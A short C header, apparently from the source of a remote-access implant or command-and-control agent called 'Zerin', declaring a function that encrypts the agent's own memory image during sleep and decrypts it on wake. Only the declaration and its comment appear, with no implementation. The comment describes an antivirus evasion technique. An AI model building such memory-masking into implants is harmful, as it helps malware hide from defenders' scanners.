#ifndef ZERIN_SLEEP_OBF_H #define ZERIN_SLEEP_OBF_H #include // Obfuscated sleep: encrypts the agent's image in memory during the // sleep interval using XOR with the provided key, then decrypts on wake. // Falls back to a plain Sleep() if setup fails. // // ms — sleep duration in milliseconds // key — 32-byte encryption key (typically the session key) int sleep_obfuscated(uint32_t ms, const uint8_t *key); #endif // ZERIN_SLEEP_OBF_H